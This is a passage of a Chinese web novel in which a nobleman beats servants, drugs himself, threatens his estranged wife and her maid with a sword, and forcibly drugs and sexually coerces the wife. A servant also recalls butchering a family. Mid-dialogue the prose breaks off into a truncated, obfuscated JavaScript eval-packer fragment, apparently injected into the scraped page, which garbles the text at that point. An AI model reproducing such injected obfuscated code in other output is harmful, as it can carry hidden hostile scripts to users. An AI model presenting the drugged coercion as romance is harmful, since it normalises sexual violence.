陆青檐盯着姜昙血淋淋的袖子,看了一会儿,视线落在姜昙面上:“你怎么说?” 姜昙伸出两只手:“我对一条疯狗下药,你们要治我的罪?尽管抓我去衙门好了,我都认罪。” 去衙门? 陆青檐冷笑:“你想得美。” 他一身官服坐于高堂,如今两个人的位置换了个。 他是官,她是民。所以由他来审她。 姜昙藏起手掌,被陆青檐突然抓起来,硬生生地摊开来看:“利刃割伤,看起来是一指长的利刃,是断了的薄刀?你身边怎么会有利刃,哪来的?” 柔娘还记得姜昙身边的婢女,气势汹汹地让自己闭嘴。 除了那个叫紫珠的,还有那个双双也很讨厌。 于是说:“还能是谁,一定是夫人身边的婢女给她的。” 陆青檐点头:“有理,把双双带上来。” 传双双的人是邓显的人,来时就听了事情的来龙去脉。 双双并未争辩:“奴婢知错,愿意受罚。” 她并未看姜昙,也不祈求夫人救自己。这么多时日,便是再迟钝也该看出来,夫人根本不愿意和长公子在一起,自然也不肯低头。 连带着也不信任被邓先生送来的自己,她始终和紫珠是不一样的。 “打。” 陆青檐只说了一字,木杖就一刻不停地动起来,敲在皮肉上的声音,沉闷而窒息。 姜昙闭上眼,忍过了第一杖,第二杖,第三杖…… 忍不下去了。 她脱去外衣跪在双双身边,露出细细的脊骨:“我也有错,与她同罪,应当同罚。” 木杖不得不停下来。 执刑的下人低头,不知该看何处。 “姜昙,你好得很。” 陆青檐脸色铁青。 久候不到人出来,月娘急得闯进去,刚踏进门,就听到陆青檐怒气冲冲地说:“都滚出去!” 柔娘慌慌张张地提着裙角出来,看着月娘还要往里走,将她一起拉出来。 刑房内只剩两人。 姜昙说:“长公子做这些的目的,不就是让我低头?眼下我低头了,你怎么还不高兴?” 陆青檐冷笑着,正要说什么,忽然听到外面有人叫他。 是月娘不肯走,执着地要等他。 房内陷入沉默。 姜昙忽然说:“长公子已有新欢,为什么不放了我,就这么喜欢我?” 陆青檐讽刺地说:“你又不是国色天香,我想要女人有的是,不是非你不可。她比你听话得多,很会讨我欢心,可还需要调.教一阵子。眼下我看你尚有一丝兴趣,你不妨再等等?” 姜昙抬头:“好。” 她眼中还有化不开的眼泪,像吴江没融化的雪水。 陆青檐的眼神移向别处,转身准备离开:“明日杜良娶亲,请我们喝喜酒。你不喜欢出门,我替你拒了。” “我要去。” 陆青檐豁然转身,锐利的眼神盯着姜昙,像一把刀子。 “你想去,我当然不能拦你。只是我的新欢在你手里受了委屈,你怎么补偿我?” 姜昙跪在石面上:“愿为新夫人祈福。” 陆青檐咬牙笑了:“好,我替她谢谢你。明日天明我来寻你去喝喜酒,你可千万别露出端倪,让人看出来。” 71. 第 71 章(补) 翌日天蒙蒙亮,马车在府门处等着。 陆青檐掀开车帘,看到车内坐着姜昙。她端端正正靠在车壁上,看起来一点事也没有。 顿了片刻,陆青檐弯腰进来,坐在她对面:“来得这么早?我还以为你的腿断了。” “长公子尚且无事,我当然绰绰有余。”姜昙闭目养神。 她指的是上次陆国公罚他跪祠堂的事。 陆青檐讽刺地扯了扯嘴角。 两人各坐一侧,相顾无话。 马车里十分安静,不知走了多久,忽然听到有热闹的人声。 姜昙掀开车帘往外看。 巷道里挂着红绸,一直挂到一所宅子门前,这大概就是杜良买的那间院子。 她揉着僵硬的双腿,确定能行动,提起衣角就要下去。 近日,京都落了几场小雨。 巷道地面泥泞,红色的纸屑混进泥地,被乱糟糟地踩了一地。 陆青檐伸臂拦住她,皱眉看着外面:“脏,让他们直接将马车赶进去。” 这是在别人家,何况是办喜事的时候,他到底哪里来的底气,能如此理直气壮地说出这种话? 姜昙推开他:“只有新娘子能坐着被抬进去。” 不等陆青檐说话,她率先跳了下去。 马车早早地从陆府出发,偏偏走了大半日才到这里。 院门内是推杯换盏的人群,脸上皆洋溢着喜色。新娘子已被迎了进去,这就到了喝喜酒的环节。 料想杜良正忙。 姜昙便准备在门口等一会儿,可刚寻了一片干净的石阶,面前忽然落下一片朱红的衣摆。 “姜姑娘。”杜良一身喜服,看见她来十分惊喜。正想说什么,忽然看向姜昙身后,脸上笑意微滞。 “夫人。”他改口说:“长公子,请二位里面坐。” 陆青檐招手,身后的下人将锦盒奉上:“这是贺礼。”随后从两人中间进去,半点没有做客的拘束感。 反而像在自己家一样,扭头看着两人:“站着做什么,进来。” 在外面时,陆青檐照旧滴酒不沾。连椅子都是让下人擦了又擦才坐上去,这一切都当着杜良的面。 姜昙觉得不安,杜良反倒坦然,耐心地听从陆青檐的要求,换了桌布,又让人清扫地面,直到陆青檐勉强点头才停下。 姜昙实在看不下去,更坐不下杜良亲手擦了三遍的椅子,转身出去了。 她寻到一处墙角的石阶坐下,不多时,有脚步声接近,万幸不是陆青檐。 姜昙站起来,递出一对荷包:“贺你们新婚之喜,有安神保生之效。” 杜良接过看了又看,珍重地放在衣襟处:“我代内子谢谢你,我……我们夫妇一定会好好保存。” 他忽然想起来,自己已经不是孑然一身。 他其实与新婚妻子没见过几面。 那夜灯光昏暗,他迷茫之中被叫过去,站在人群之后,浑身因畏惧而冒出冷汗,只模模糊糊看见个背影。 那时他根本不知道这就是他未来的新婚妻子,因此也未留心她长得什么样子。 可就算再迷茫,也走到了如今这地步,他不能不对自己的新婚妻子负责,即使这场婚事并非他本意。 只是旧年心事,不得不说出来。若说有机会告诉她,今生恐怕也就这一回了。 杜良犹豫再三,终于鼓足勇气开口:“姜姑娘……不,姜昙。成婚之后,我就要离开京城了。离开之前,我想告诉你一件事,我……” 姜昙肃然打断他:“杜兄,我问你一件事。” 杜良被她认真的样子吓住:“……请讲。” “你来京城多少时日了?” “三月有余。” “办的多是外差还是内务?” “内、内务……姜昙,我……” “杜兄,我们是好朋友,对不对?” 姜昙忽然靠近。 杜良甚至能看清她眼下的小痣,顿时涨红了脸色:“……是。” “有一件事请你帮忙。”姜昙郑重地说:“方才给你的荷包里,各放有一千两银票,我要你帮我准备两张路引和两个假身份。” 杜良双眸睁大,诧异地看着她。 . 树枝被狠狠折断。 陆青檐冷眼看着不远处的两人说话,说着说着就凑得很近。 不知说了什么,姜昙忽然笑出来,对面的呆子愣住了一会儿,随后也僵硬地笑了。 她惯会说花言巧语,欺骗人不是难事,哄得人笑也很容易。 尤其是认真含蓄的老实人,稍一撩拨,就能让他眉开眼笑,春心萌动。 和当初的施茂林一样。 “公子,要不要把他们分开?” 陆青檐闭了闭眼:“你怎么变得越来越蠢了,是和那个傻徒弟待久了吗?可别真的把他当儿子一样教。” 刘武闭嘴。 柴小虎自从失去记忆,醒来后第一眼见到自己就把他错认成亲爹。刘武纠正了好几次,他依然固执地那么叫。 是刘武下手鞭笞了几次,他才改口。 外人不知道内情,只恭维他儿子孝顺,将来养老有指望。 然而只有刘武清楚地知道,柴小虎的娘是自己亲手腰斩,大刀砍下去,那个农妇变成了两半。拖着半截身子护在柴小虎身上,求他们不要杀了自己的儿子。 柴小虎的爹也是自己亲手剐成一副骨架,最后一把火连同他们的房子烧成灰。 他日日夜夜都记着这件事,故而对柴小虎十分谨慎。一旦发现他恢复记忆,就打算立刻杀了他,以防被复仇反杀。 刘武说:“长公子放心,父债子偿。他的爹娘对长公子做出那样的事,属下自然不会让他好过。平日里对他极为严厉,犯有一丝一毫的错误就严惩,比对待死士更加狠心。” 陆青檐只是随口一问。 他仍注意着姜昙和杜良的状况,两人似乎说开了什么。 一看就知道对旁人心怀不轨的杜良,此刻突然放下拘束,释然地对姜昙笑了笑。 这都是姜昙的功劳。 二人不知还要聊多久。 陆青檐愤然转身:“我们走。” 她总是不嫌腿疼,爱说多久就说多久,爱站多久就站多久。既然这么喜欢站着,那他也不必等她一起,让她自己走回去好了! 巷口的马车赶到了院内。 杜良请来的街坊四邻被驱赶着站在两边,眼看着喜宴乱作一团,那辆马车车帘落下,随后大摇大摆地出去,连一句解释都没有。 无人敢上去要个说法,天子脚下,升斗小民也知道,马车上有徽记的非富即贵,千万不能招惹。 陆青檐敲敲车壁:“进宫。” . 皇宫,御书房内。 景胜帝正在看折子,地上跪着正在陈状的指挥使汤炳:“……礼部尚书闫慈贪婪愚鄙……” 汤炳忽然叫道:“皇上?” 景胜帝睁开眼睛,方才不经意竟睡了过去。 他往四下里一看,又看外面天色:“什么时辰了?” 一旁的内侍说:“皇上,再过一刻就到酉时了。” 景胜帝点头:“陆庸怎么还没来?” 内侍:“陆大人半个时辰就到了,知道皇上正会见重臣,不愿打扰,故一直在门外等着。” 景胜帝站起来,手中的折子掉在地上:“他与尚书不愧是父子,爱讲究虚礼,让他进来。” 汤炳看着皇上从折子上踩过去,正印在他写的“小儿慎之”几字上。 前后他上疏十二次,次次提及大儿子汤慎在扬州被人施以重刑之事。皇上只在第一次时轻轻放下,再后来看到都自动略过,闭口不提。 锦衣卫是皇上手中的刀,从来揣测圣心,根据圣意,令行禁止。 如今圣心不理此事,可他怎么能就这么放下,那是他的长子!最懂事听话,文武兼备的儿子! “微臣陆庸,叩见皇上。” 陆青檐盈盈而笑,皇上对他态度十分亲近,连忙让他起身,要与他商讨上次的古籍。 内侍请汤炳回去。 汤炳缓缓起身,双腿灌了精铁一般沉重。 他走了几步,忽有所觉,朝身后看去,陆青檐对他一笑。 出门前听到陆青檐说话:“皇上今日精神甚佳,方才进门时,微臣只觉得一股龙气扑面而来,不自觉双腿一软,险些丢脸。还好在家中时义父时时提点……” 龙颜大悦,皇上畅快的笑声传出来。 汤炳握紧拳头,心道: 佞臣! 陆青檐与皇上说话没多久,就从里面出来。 太子冷脸从他身边过去,连朝他行礼问安也不搭理。 不过太子在朝中出了名的温和谦逊,从未听说对谁如此失礼,不知道他是不是第一个。 陆青檐掸掸袖子,不在意离去。 快到宫门处,身后一个声音叫住他:“陆庸。” 陆青檐转身而笑:“指挥使还没走?” “前些时日遇见陆国公,我与他闲聊几句。他说儿子不顺父母,谄媚逢迎,长成如此可恨模样。早知如此,就该在出生时将他溺死在水中。” 汤炳看着他问:“如今看来,陆国公说的不假。” 陆青檐面上笑意不变:“堂堂指挥使,只会说假话激怒旁人吗?” “锦衣卫历来行事如此,手段不论大小,有用即可。” 汤炳看着这位暗地里心狠手辣的年轻人装出一副和善的笑面,宛如一条吐着信子的毒蛇。 他恨不得将它砍成两半! “那指挥使用错手段了,我并不以此为耻,谄媚逢迎也是庸的本事。” 陆青檐转身离去。 走了几步,陆青檐蓦地一停,扬声问道:“方才忘了问候大公子,他如今可大安了?” 汤炳咬牙看着他。 陆青檐笑意更甚:“听说大公子十指俱废,四肢的骨头都被敲断,如此境地还能求生,实在令我佩服。不过终究天意弄人,如今仍昏迷不醒。不过指挥使也不要伤心,你还有两个儿子,死了一个也——” 汤炳的拳头砸了过来。 . 宫门前的事惊动了皇上。 内侍快步走过来,传旨令两人回府思过,反躬自省。 内侍从后宫赶过来,圣上正忙着与后妃探讨长生术。 陆青檐嘴角噙着血,官帽被打掉,头发也乱作一团,却笑着从汤炳面前过去:“臣接旨。” 陆青檐上了马车。 车内还有残留的香味,陆青檐闻得头疼,不得不把车帘掀开。冷风呼呼地灌进来,头疼没有丝毫缓解,反而更加剧烈。 汤炳不过是狗急跳墙,拿不住自己,只能说些狠话激怒他。 堂堂指挥使,不过如此。 束手无策,也只能如此!这更能证明是他的本事! 陆青檐去摸马车里的酒壶,送至嘴边的那一刻,才发现酒已没了。 今日要见皇上,特意没备酒。 他用力将酒壶丢出去,撑着额头,深深吸气。 片刻后想起什么,从马车夹缝里取出药粉。 回京以后,他本来准备戒掉的。 如今功亏一篑。 仅犹豫了一瞬,陆青檐就统统往口中倒去。 . 月娘和柔娘在门口等着。 她看着空旷的门口,不由有些害怕,又问了一次:“你说的确定是真的?” “比金子还真!”柔娘说:“娘子不信的话,可以把乌雪牵出来试试,奴婢保证是真话!” 牵出来就不必了。 因为把乌雪牵出来,才害得它遭了大难。长公子恼她将她拦在门外,她也恼着自己,眼下可再不能出岔子。 柔娘对自己还算忠心,何况说了那样的保证,月娘信她。 说话间,柔娘指着门口:“长公子回来了!” 月娘与柔娘对视片刻,后者对她点头,月娘得到支持,坚定地拦住马车:“长公子,月娘有事要报!” 随车的是邓显,骑马立在月娘跟前:“长公子今日疲累,需要早些休息,有事明日再报吧。” “不行!”月娘拒绝。 此事宜早不宜晚,若是说得晚了,指不定她们今晚就会将证据全部毁掉。 月娘来到马车前想要上去,却被护卫们拦住,长公子果然还恼着她。 不过将此事说出后,二人的疙瘩就会解开,长公子对她就会和从前一样! 月娘殷声解释:“此事重大,事关夫人,不能拖延。” 车帘被掀开一角,里面黑漆漆的没有点灯,陆青檐沙哑低沉的声音传出来:“跟上来。” 月娘连忙跟上。 同时心中一涩,柔娘说的不假,只要提到夫人,长公子必定会理会。可是只要过了今夜,他就不会再念着她! 一个偏僻小地方来的女人都能做夫人,她比夫人要强的多,凭什么不能! 长公子很重视她的话。 她只是提到一句“不能拖延”,他就真的没有修整。 一到室内,刚坐下不久,就开口道:“你方才说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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下面传来女子的惊叫,他仍嫌不够,将桌上的东西一扫而空,噼里啪啦碎了一地。 屋内鸦雀无声。 陆青檐重重喘着气:“去搜!邓显,去搜!” . 一堆人涌入寝房前,姜昙正在给紫珠涂寇丹。 这个爱美的婢女恃宠而骄,伤着手臂,还要指使自家姑娘给她涂指甲。美其名曰花开不易,花瓣已经采了,不能浪费。 姜昙狠狠拧了一把她的脸。 随后还是端来花盏,小心地给她涂寇丹,一边照顾着她的手臂。 下人们就是在这个时候进来的,紫珠被吓了一跳,手臂撞到桌角,疼得惊叫。 然而看到来势汹汹的一群人,顿时哑了声。 一行人进门就分别钻往妆台,厅室,茶房,叮铃咣啷找着什么东西。 “放肆!”双双气得发抖:“这是夫人的寝院,你们得了谁的令,竟敢乱翻!” 邓显此时走进来,对双双使了个眼色:“站一边去。” 明白他意思的瞬间,陆青檐缓缓从门外走进来。 对上姜昙的眼神,他面无表情叫了一声:“阿昙。” 随后看向了紫珠。 姜昙觉得不对,将紫珠护在身后,悄然推她出去。 这时她看见陆青檐突然笑了一下:“抓起来。” 他身后的护卫行动如风,立刻捉住紫珠的手臂,将她按在地上。 姜昙叫道:“别碰她的手!” 紫珠没有出声,不知是疼得说不出话,还是在忍着。 姜昙皱眉看着陆青檐:“你又发什么疯?” 陆青檐点头:“你说的很对,我又发疯了,我吃了许多一晌贪欢,或许还有魑魅魍魉。眼下通身的神经都在跳跃,兴奋地想发疯。” 屋内倒腾东西的动静逐渐停止,几个小厮捧着一些挂件扔在地上,柔娘从门外进来,在上面一边嗅,一边翻找。 最终她摇头。 “只剩你的床榻附近没有搜过。”陆青檐看着姜昙问:“阿昙,由我亲自去找,你同意吗?” 嘴上询问,陆青檐半点没有征询意见的意思。 他掀开床帐往里走,身后跟着柔娘和新欢月娘。 不多时,听到一声女子的窃喜:“长公子,找到了!” 姜昙浑身一震。 邓显在背后催促她:“夫人,长公子请你进去。” 姜昙极缓极缓地走进去。 陆青檐手指上挑着两个香囊的系带,看见她进来说:“这是你的绣品,我认得。” 姜昙站着不肯动了。 陆青檐走到她面前,衣襟散乱,头发也是乱的,看似平静的面容下,藏着滔天的疯狂。 “阿昙,这里面是什么东西?” 一片死寂。 柔娘忍不住开口:“是麝香和——” “闭嘴!”陆青檐冰冷的眼神看过去,有一瞬竟泛起了血红色:“我问你了吗?” 柔娘狠狠打了个寒战。 “说话,说话!”陆青檐捧起姜昙的脸,逼得极近:“我让你说话啊,阿昙!” 声音像是从牙缝里挤出来的。 姜昙沉默。 陆青檐冷笑着要撕开香囊,这时姜昙终于出声了:“你不是知道了吗?就是你想的东西,不过她们的鼻子不太灵,这里面加了不止两种药材……” 陆青檐蓦地掐住姜昙的脖颈,将她抵在柱子上。 紫珠挣扎着要过来:“不是姑娘,都是我做的,是我出去买的……” 陆青檐的双眼变得血红,双手都在颤。 姜昙朝紫珠喊道:“别说了!” 陆青檐服的药太多,情绪不稳,姜昙也不确定他会做出什么事来,这个时候保全自己才是最要紧的。 “你还护着她。”陆青檐咬牙切齿地笑了:“姜昙,我真的不想动她,动了她你会伤心,可是我真的忍不住了,我要杀了她!” 陆青檐松开她,忽地抽出一个护卫的佩剑,直指地上的紫珠。 姜昙在背后说:“你杀了她有什么用,你应该杀了我。只要我一息尚存,就会千方百计地使这些手段。杀不了你,至少我可以做主自己的性命。” 恍惚间,好像又回到了新婚那天。 红绸勒在颈上,是叫也无法叫出声的窒息感。 陆青檐问:“你这么想杀我?” 姜昙眼中是丝毫不加掩饰的厌恶:“当然。时至今日,乃之昨夜,今夜,明夜,此后的日日夜夜。只要在你身边,我从未有一夜安眠。只要你活着,我就睡不好。只有你死了,我才能安心。” 72. 第 72 章 姜昙的脸忽远忽近,在陆青檐的眼中晃成两个,他十分贪心,将两个都握在掌中。 他看着姜昙的脸,试图从中找到一丝违心的证据。反复拆解她说的每一个字,试图找出她遮掩得十分高明的爱意。 最终他失败了。 不是他寻找得不仔细,而是姜昙眼中根本没有爱意。 他不懂:“你对施茂林好,对杜良好,对你身边的婢女好……为什么就不能分我一点好?” 从前就是这样。 她对所有人都好,对所有人都有怜悯,唯独对自己斤斤计较。 无论是什么情况,她好像永远站在自己的对立面。 可是明明这世上有那么多的坏人,他们都能得到毫无付出条件的好。只有他像天底下最大的恶人一样,多看一眼都嫌恶心,多亲近一分都令人作呕。 姜昙的字句如此冰冷。 “你这样的人,凭什么乞求别人对你好?” “我是什么样的人?” “自私虚伪,阴险狡诈,心狠手辣。下人们怕你,同僚们厌你,百姓们恨你。你为人可恶,行事可怖,谁会喜欢你这样的人?你不值得别人对你好。” “那你呢?” 陆青檐几乎要贴到姜昙的面上:“喜不喜欢一个人,是否决定对他好,你是据此判断的吗?如此说来,只有圣贤才能达到你的标准。可这世上谁敢说自己是圣贤,有哪一个不是披着人皮的畜生,你以为别人有多干净,我就比别人肮脏?” 他捏起她的下巴,让她看纱帐外的月娘和柔娘: “为什么她们可以对我好,短短几个月,已能让她们生出相依到老的念头。为什么你不能像她们一样?知冷知热,嘘寒问暖,到底哪一件事让你难做?” 姜昙淡淡挥开他的手:“与豺狼为伍,我心难安。” 好一个难安。 陆青檐呼吸发颤:“若有一天,我变成了你心中的样子呢?” 手指间的的香囊不知何时掉到了地上,脑中里似有根弦绷成一条线,心中却出奇地静,只等一个宣判。 姜昙说:“不会有那一天。” 他们的关系已如此糟糕,而她从未给两人和好留有一丝余地。 陆青檐脑中的那根弦,断了。 耳中有尖锐的轰鸣声,头痛欲裂,浑身冰寒彻骨。 犹如小时候他偷偷跟着陆秋松一起在江边行走,不小心被拥挤的人群一脚踢到水里。冬日水中竟很温暖,江水涌进耳朵里,脑袋静谧,耳中轰鸣,正如现在。 “……你是故意这么说的。” 陆青檐握紧剑柄,用力钉在姜昙耳侧的柱子上。 “因为我对别人好,你吃醋了,所以故意说这些话来气我。你最知道怎么惹我生气,姜昙,我险些被你骗到。” 一定是这样。 姜昙的谎言说得十分动听,能哄得老实人脸红,也能哄得他去死。 “知道我喜欢你,你很得意是不是?恃宠而骄!”陆青檐淡淡吐出四字:“姜昙,是我太骄纵你了,教你总是对我无法无天。” 陆青檐抽出那把剑,搁在姜昙肩上:“我再给你一次机会,说你错了。只要认错,我们还像以前一样。” 他们曾亲手写下婚书:“……陆青檐与姜昙……毕生恩爱,生死不离。” 懵懂之中,尚且不知道明天去往何处,今后以何谋生,就凭着一腔热情支配身体,冲动地成了婚。 那是堪称鬼迷心窍的以前。 无论何时回想起来,都觉得不可思议。 然而姜昙从得知他身份的那一天起,就已经被换了魂魄。 她只冷眼看着他。 如初时识破他身份后一样,宁死不肯爱他,不肯在他身边。 强留她下来,也是互相折磨。 那就互相折磨吧。 陆青檐讽刺一笑,行至一边,单手整理自己的衣襟。 回来这么长时间,他仪容凌乱,竟没有立刻整理,顶着这样一副不堪的模样,在人前晃了这么长时间。 真是失礼。 陆青檐说:“你们都出去。” 邓显立刻带所有下人退出去,连同紫珠一起捂嘴带下去,然而这里人太多,他未留意到漏网之鱼。 月娘捧着药盒等了许久。 她原本不想进来,让人误以为是她故意使坏,来看夫人的笑话。 可她没想到长公子和夫人之间的纠葛竟是这样的,已经到了提及生死的地步。 这和她想的不一样。 长公子好像离自己越来越远了。 月娘走近地说:“长公子,你脸上有伤,我给你上药。” 她用了最关切的眼神,和最轻柔的动作,她能确定长公子受用此道。 可她的伎俩忽然失去了作用。 一柄长剑扬起,直指月娘:“听不懂人话?我让你出去!还有,谁许你一个卑贱的奴婢自称我?” 陆青檐冷冷说:“不守规矩。” 邓显连忙带她出去。 跟了陆青檐许久,他知道长公子此时看似平静,实则已在崩溃的边缘。 月娘不可置信地看着陆青檐。 可自始至终,他只分了一个眼神,之后再也没有看她。 他看的是夫人。 那个狭路相逢都要低头退让,让她先走的夫人。 下人们将她的嘴捂住,像对待一个婢女那样将她拖了下去。 邓显居高临下地看着月娘。 他的身后是关上的门扉,里面陆青檐的身影逐渐消失,只能看到昏黄的窗纸。 柔娘也被捂住嘴抓了过来。 “两位娘子,依照规矩,该打你们各五杖,可有异议?” 柔娘呜呜叫着想说话。 邓显点头:“没有异议,行刑。” 月娘自认为和戏园子里随便委身于人的姐妹们不同,她原本是秀才的女儿,知书识礼,要不是家中生了变故,也不会落到这个地步。 月娘不贪图富贵,只求寻一个知心人。 当初是被一群带着刀的护卫威胁着进了府里,她原本也觉得长公子是一个心狠手辣之人。 但是见了真人却发现他不是这样,长公子与其他只想要她身子的男人不一样。进府这么久,他从没有主动碰过她,就算她主动,他也是知礼地避开。 想来那些以人命威胁的护卫,不过是阴奉阳违,借着他的势行恶事罢了。 她以为长公子就是她的知心人,那晚正是交心的好时机。 然而长公子拒绝了她。 月娘现在还记得,那晚,他听到自己那句话之后的反应—— “你笑的太难看了。” 一直情绪平淡的长公子脸上忽然露出挑剔的神情,刻薄地对她的容貌指指点点:“不许笑,哭。” 月娘脸上的羞意消失,立时表情僵硬。 长公子不耐烦地推开她:“这样更不对。” 现在想来,那不是拒绝,而是羞辱,是不屑。她从来就没入过他的眼! . 婢女们鱼贯而入,隐秘而无声地整理乱糟糟的室内。 陆青檐丢开剑,在水盆中洗手。 门外泄出一丝未堵严实的惨叫。 姜昙难以相信:“那是你的新欢,你竟连她也打?” 陆青檐已洗干净了手,仔细地用布巾擦干。 闻言说:“一个奴婢而已。” 婢女们出去,门被关上。 方才两人吵得那么厉害,他气得动了剑,然而仅仅一瞬,他就恢复了平静的面容。 很像是在压抑着什么,又像是什么的前兆。 姜昙恨极了这种折磨。 还不如两人再吵一架,或者是他直接动手杀了她! 再在这里待下去,她恐怕会窒息或是吐出来。 姜昙飞速扑到门边去开门,背后有一道更急的步子,直逼她的脚根,将她抵在门上。 陆青檐大力勒住她的腰:“夜深了,该安寝了,往哪去?” 姜昙不合时宜地想起他洗手的动作。 他打了三次胰子,抹了香膏香露,水中还泡着荼靡花瓣。 陆青檐日常并没有这个习惯,只有房事之前,他会异常洁癖,像有病一样地反复洗手。 “滚开!” 得知他要做什么,姜昙用力挣扎,两人近乎一月未见,她险些忘了陆青檐在此事方面的卑劣。 身后的人一声不吭,呼吸深重,显然也对姜昙的挣扎招架不住,仍旧不肯放手,反而更加用力。 他腾出一只手,悉悉索索在找什么。 姜昙看到那个熟悉的小瓷瓶往她嘴边递,用力咬了一口陆青檐的手,瓷瓶掉在地上,褐黄色的药粉撒了一地。 “松开!”陆青檐试图捏住她的下巴。 不松!如果能就此咬死他,她一定用尽全力! 姜昙整个人被拖着往里走,她用力踩了陆青檐一脚,两人相继倒在地上。 姜昙很快站起来,却被地上的陆青檐扯着胳膊,再次倒下去。 这一次,陆青檐用腿压住她的双腿,让她不能起身,随后整个人也压了过来。 用他那双还淌着血的手卡住姜昙的口齿,不知从哪里又拿出一个小瓷瓶,几乎连同瓶子塞进了她嘴里。 姜昙呛得咳嗽。 陆青檐亲在她的颈侧,动作慢下来,极有耐心地等她喘息起来,捞起她去床上。 不多时,姜昙再次干呕。 仍旧是什么都没吐出来,反应却十分强烈,眼泪跟着涌出来。 陆青檐看了她好一会儿。 姜昙知道他受不了,冷眼瞧着他,边披衣下床。 一只脚刚接触到地面,就让陆青檐握住扯回来。 那只渗血的手又盖上来,还有丝缕花香,不慎沾上她的唾液,粘腻得恶心。 姜昙翻身欲呕,被陆青檐死死压住:“阿昙,这是乐事,你该习惯的。若不习惯,就一直做到你习惯为止。到那时候,这病自然就好了。” 他声音平静,身躯却滚烫得厉害。 不管不顾地贴上来,含弄得她也浑身炙热。 陆青檐呼吸不稳问她:“要不要我?” 姜昙咬牙,闭上眼睛。 . 身体如秋叶般簌簌颤动。 她控制不住地立起上半身,又被他强硬地压下去。 待他松开手,姜昙趴在床边咳嗽,好一阵才缓过来。 背后递过来一张帕子,她随手擦了擦唇边,却在帕子上看到殷红的血丝。 不是她的,而是陆青檐的。方才他手上的血沾到了她的口中。 思及此,姜昙恶心地干呕。 陆青檐来她身边,她便把帕子丢到他的脸上。 姜昙骂他:“贱不贱?一个女人这样恶心你,你还像一条狗一样,巴巴地贴上来。天下是没有别的女人了吗?还是长公子口味独特,就喜欢恶心你到吐的?” 陆青檐的脸上阴郁阵阵。 他的脸色变了几遍,最终露出一个固执的笑容:“对,我就是这样!你以为我没有试过吗?可别人都不及你让我满意,尤其是床上也这么得趣儿,眼下我就是非你不可!” 陆青檐的手覆上来,依旧是烫的。 他扯她入床帐,她不肯,固执地往后退,险些摔到床下去。 陆青檐看了一眼地面,那里铺着厚厚的地衣,料想躺上去是舒服的。 也罢,她爱去地上,那就去地上! 他阴魂不散地缠上来。 行那事时,陆青檐总是异常聒噪: “姜昙,我对你不好吗?我以为你只是说说而已,没想到你真的吃了那该死的药!若你一生不能有孕呢,你可有想过以后我们可能会和好,做一对恩爱夫妻,到那个时候,我们的孩子怎么办?” 他自以为是地沉浸在自己的世界里,恨得不能自已。 姜昙闭上眼睛。 陆青檐说:“又觉得我恶心?怎么了,是觉得我这个贱人服侍得你不舒服?” 他的手掌压上来,将她的脸掰回来:“睁开眼睛!” 姜昙的身体再次颤抖起来。 他用力作弄她:“你最好尽快习惯,否则往后怎么捱得过去?” 地衣上的绒毛被压塌一片,陆青檐最后在她耳边说:“阿昙,我们往后就好好做一对怨侣。” . 孙太医夜半被叫过来。 不知是不是上了年纪,老眼昏花,他竟看见陆青檐这祸害嘴角有淤伤。 满身的抓痕也就算了,他已见怪不怪,不过以前陆青檐可从没有叫他来上过药。 反倒一副要留着身上痕迹,一直带到棺材里的意思。 这是什么很值得留念的东西吗? 孙太医蘸了蘸药水,探向陆青檐身上的伤口。 “你手往哪放?”陆青檐皱眉拢住衣襟,说话还是那么可恶:“没长眼吗?伤在脸上!” 孙太医讪笑。 果然没看错,嘴角是被人打出来的瘀伤。打人者下了死手,仔细一看,额头上也有。< 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陆青檐的表情很不好看,可能是想骂太医,好在他忍功深厚,硬生生憋住了。 “……能治吗?” 一锅浓黑的药汁端上来,散发着古怪的苦味。 陆青檐面不改色地喝下去,一碗接着一碗。 趁他喝药的间隙,邓显悠悠地从门外走进来,见他已恢复了镇定,于是凑了过来。 “后院那两位娘子,属下一时不知道怎么处置。毕竟是长公子的妾室,也不好再打打杀杀的不是?” 陆青檐看也不看他:“我没动过,从哪来送回哪去。” 邓显“嘶”了一声:“可那位月娘子吵着要见你。前段时日长公子对她百般优待,如今她反反复复念着你,不肯相信你这么无情。” “我无情?” 陆青檐嗤笑:“我若是无情,早该想掐死那只黄雀一样掐死他们,放他们出去,已经算是我仁慈。何况她们想要的已经得到了,赵青林从江南带回来的珠宝髻,若去当铺换成银票,足够她们养老。” 他仰头将碗中药汁一饮而尽,淡淡说道:“赶她们出去,若再纠缠不休,也不用走了,把命留在这里。” 邓显还是犹豫:“那月娘……” 后知后觉的苦意弥漫上来,陆青檐不耐烦地说:“滚。” 不知是说他,还是说月娘。 或许两者都是。 喝完药,陆青檐想起医嘱,对刘武说:“拿剑,陪我过几招。” 长公子兴趣广泛,唯独不包括读书、习武、射箭。 前两样他嫌累,最后一样是没天赋,无可救药。 前两样中也有比较,他不爱读书,却不得不读,幸好天赋异禀过目不忘,故而不算吃力。 只有习武……从未尝试过。 因为他十分讨厌习武后的一身狼狈和汗臭,就连刘武练剑后,也特意被要求洗澡后再近身。 故而“过几招”,称得上是一个破天荒的要求。 刘武蓦地转过来,常年瘫痪的面上竟能瞧出几分惊讶。 陆青檐的脸眨眼间阴沉下来:“还不快去!” 最终还是没能去过几招,因为南边来信了—— 盐城姜家的信。 当初姜昙给淮安知府写的检举信,由他誊抄一遍又落了私印,送去淮安知府那处。 不巧,知府不认得他的字,却认得他的印。 于是就按照信中嘱托,好好关照了姜清源一番。 冤有头债有主,如今姜清源终于发现是他干的,所以写信求饶来了。 陆青檐饶有兴趣地看着。 被贬了官身的姜清源日子清苦,尤其后宅闹腾不住,说是家中山穷水尽,快要睡到大街上去了。 文采斐然,情真意切。 陆青檐笑出了声,然而看到后半部分,他的笑意渐敛。 “……有一事告知贤婿,小女妙仪昔日有一桩亲事,由先妻与闺中密友未生时所定。虽后来未成,可那家公子曾上门找过小女……那家人原姓盛,后来改姓,不知在何处,只听说在京中居住……” 为了求饶,无论什么小事姜清源都交代得一五一十,可见是真的没办法了。 姓盛却改姓,就算是朝堂臣子,也不是非得做到这个地步,除非是天子近臣。 等等……天子近臣? 朝廷鹰犬,汤家。 原本姓盛,后为避讳景胜帝中的胜字,亦为表忠心,就随妻族姓,改为汤。 当时这件事还引起了一阵传闻,没见过谁家随妻子姓的,可偏偏汤炳就是做到了。 他的长子,汤慎汤谨之。 